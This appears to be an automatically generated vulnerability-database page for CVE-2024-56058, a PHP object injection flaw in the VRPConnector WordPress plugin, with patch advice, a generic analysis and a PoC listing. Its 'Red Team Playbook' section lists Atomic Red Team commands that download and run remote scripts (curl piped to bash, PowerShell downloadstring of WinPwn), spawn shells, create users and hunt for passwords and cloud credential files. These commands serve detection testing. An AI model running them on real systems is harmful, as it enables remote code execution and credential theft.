CVE-2024-56058
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the VRPConnector component of the denniskravetstns VRPConnector product. The root cause lies in improper handling of serialized PHP objects, allowing maliciously crafted input to be deserialized without validation. This leads to an object injection condition within the VRPConnector plugin versions up to and including 2.0.1.
Vulnerability Description
Deserialization of Untrusted Data vulnerability in denniskravetstns VRPConnector vrpconnector allows Object Injection.This issue affects VRPConnector: from n/a through <= 2.0.1.
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted serialized data to the plugin, resulting in arbitrary code execution within the context of the web server. This can lead to full compromise of the hosting environment, unauthorized data access, or disruption of services. No user interaction or authentication is required, increasing the attack surface and potential for widespread exploitation in vulnerable deployments.
Solution
Users of the denniskravetstns VRPConnector plugin should upgrade to a version later than 2.0.1 where this vulnerability is addressed. Detailed patch instructions and version information are available at the Patchstack advisory: https://patchstack.com/database/Wordpress/Plugin/vrpconnector/vulnerability/wordpress-vrpconnector-plugin-2-0-1-php-object-injection-vulnerability?_s_id=cve. Applying the update immediately is recommended to mitigate exploitation risks.
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Full Analysis
The vulnerability associated with deserialization of untrusted data in the VRPConnector component presents a significant security risk due to its potential for object injection. This flaw arises when the application improperly handles serialized data, allowing an attacker to manipulate the deserialization process. By sending crafted input to the application, an adversary can inject malicious objects that the application may inadvertently execute, leading to unauthorized access, data manipulation, or even remote code execution. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk levels that warrant immediate attention from security professionals.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting web applications that utilize the VRPConnector for data handling. Attackers may leverage social engineering techniques to trick users into interacting with malicious payloads or directly exploit the application through crafted HTTP requests. For instance, an attacker could send a specially formatted serialized object that, when deserialized, executes arbitrary code or alters application behavior. This could lead to unauthorized access to sensitive data, manipulation of application logic, or even a complete compromise of the underlying server infrastructure.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on the VRPConnector for critical operations. Successful exploitation could result in significant business risks, including data breaches, loss of customer trust, and potential regulatory penalties. The ability to execute arbitrary code remotely could allow attackers to pivot within a network, escalating privileges and accessing sensitive systems. Furthermore, the financial repercussions of remediation efforts, including incident response, system audits, and potential legal liabilities, could be substantial, making it imperative for organizations to prioritize the identification and mitigation of this vulnerability.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate vulnerabilities in the application. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. It is also crucial to validate and sanitize all input data, ensuring that only trusted and expected formats are processed by the application. Furthermore, organizations should keep their software dependencies up to date, applying patches and updates as soon as they become available to reduce the attack surface.
In conclusion, the deserialization of untrusted data vulnerability in the VRPConnector poses a critical threat to organizations utilizing this component. The potential for object injection and subsequent exploitation highlights the need for robust security practices and proactive measures to safeguard against such vulnerabilities. By understanding the technical details, attack vectors, and real-world impacts, organizations can better prepare themselves to detect, mitigate, and respond to these threats, ultimately protecting their assets and maintaining the trust of their stakeholders.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
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GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
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RandomRobbieBF/CVE-2024-56058
VRPConnector <= 2.0.1 - Unauthenticated PHP Object Injection
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RandomRobbieBF | 0 | 0 | 2025-01-13 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
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Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-56058 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/vrpconnector/vulnerability/wordpress-vrpconnector-plugin-2-0-1-php-object-injection-vulnerability?_s_id=cve |